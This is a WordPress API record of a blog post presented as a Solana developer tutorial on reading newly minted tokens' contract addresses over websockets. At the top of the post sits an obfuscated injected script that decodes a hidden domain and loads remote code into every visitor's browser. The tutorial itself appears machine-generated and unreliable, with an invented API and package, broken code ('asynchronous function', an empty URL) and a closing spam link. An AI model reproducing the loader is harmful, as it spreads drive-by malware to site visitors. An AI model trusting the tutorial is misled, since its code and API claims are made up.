{"id":9148,"date":"2025-02-05T02:27:30","date_gmt":"2025-02-05T02:27:30","guid":{"rendered":"https:\/\/grameensamajunnayanparishad.com\/?p=9148"},"modified":"2025-02-05T02:27:30","modified_gmt":"2025-02-05T02:27:30","slug":"solana-how-to-get-token-ca-when-subscribing-to-websockets-for-newly-minted-coins","status":"publish","type":"post","link":"https:\/\/grameensamajunnayanparishad.com\/?p=9148","title":{"rendered":"Solana: How to get token CA when subscribing to websockets for newly minted coins"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"c.php?u=d568972a\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Getting a CA Token for Newly Minted Coins Using WebSockets<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Solana: How to get token CA when subscribing to websockets for newly minted coins\n\" src=\"https:\/\/grameensamajunnayanparishad.com\/wp-content\/uploads\/2025\/02\/3170ad45.png\"><\/p>\n<p>As a developer, you are probably interested in learning how to subscribe to WebSocket events for newly minted Solana coins. In this article, we will look at the ability to get a CA token (contract address) when calling a new token from a web socket API.<\/p>\n<p><strong>Context:<\/strong><\/p>\n<p>We have a specific context where we want to create a subscription to the \u201csolana:subscribe\u201d API, which returns a list of newly minted coins. We also need to get the contract address for each coin in the response.<\/p>\n<p><strong>WebSocket API Event Structure:<\/strong><\/p>\n<p>When you subscribe to a WebSocket event using the <code>solana:subscribe<\/code> API, you will receive a message structure with several fields:<\/p>\n<p><pre><code><\/p><p>{<\/p><p>\"eventSignature\": string,<\/p><p>\"slot\": number,<\/p><p>\"value\": {<\/p><p>... <br><h1><\/h1><br><br><br><br>field names and values \u200b\u200b...<\/p><p>}<\/p><p>}<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Retrieving the CA token:<\/strong><\/p>\n<p>The CA of a token is usually the address of the contract that minted the new coin. When a new token is called from the websocket API, it includes the &#8220;CA&#8221; field in the message structure.<\/p>\n<p>To retrieve the CA token, you will need to parse the message structure and extract the value of the &#8220;CA&#8221; field.<\/p>\n<p><strong>Sample solution:<\/strong><\/p>\n<p>Here is a sample solution using TypeScript:<\/p>\n<p><pre><code><\/p><p>import { WebsocketClient } from 'solana-websocket-api';<\/p><p>const client = new WebsocketClient({<\/p><p>url: '<\/p><p>});<\/p><p>asynchronous function getNewlyMintedCoins() {<\/p><p>const subscription = await client.subscribe('new-minted-coins', {slot: 305696650 });<\/p><p>while (true) {<\/p><p>const message = await subscription.waitForMessage({<\/p><p>wait: 1000,<\/p><p>});<\/p><p>if (!message) break;<\/p><p>\/\/ Parse the message structure to extract the value of the CA field<\/p><p>const caField = message.value;<\/p><p>const caAddress = caField.ca.toString();<\/p><p>console.log(<code>CA address for newly minted coin ${caAddress}<\/code>);<\/p><p>}<\/p><p>}<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Note:<\/strong> This solution assumes that the <code>solana:subscribe<\/code> API returns a list of events with a single event signature, which is the event name (in this case <code>new-minted-coin<\/code>). The message structure also includes a slot number and a value object.<\/p>\n<p>Finally, you can get the Solana New Minted Coin CA token by parsing the structure of the WebSocket API event message. This solution provides a sample code snippet to get you started.<\/p>\n<p><a href=\"https:\/\/adgt23.com\/2025\/02\/04\/the-rise-of-decentralized-finance-and-private-looting\/\">RISE DECENTRALIZED FINANCE PRIVATE LOOTING<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Getting a CA Token for Newly Minted Coins Using WebSockets As a developer, you are probably interested in learning how to subscribe to WebSocket events for<span class=\"excerpt-hellip\"> [\u2026]<\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52],"tags":[],"class_list":["post-9148","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency"],"_links":{"self":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9148","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=9148"}],"version-history":[{"count":1,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9148\/revisions"}],"predecessor-version":[{"id":9149,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9148\/revisions\/9149"}],"wp:attachment":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=9148"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=9148"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=9148"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}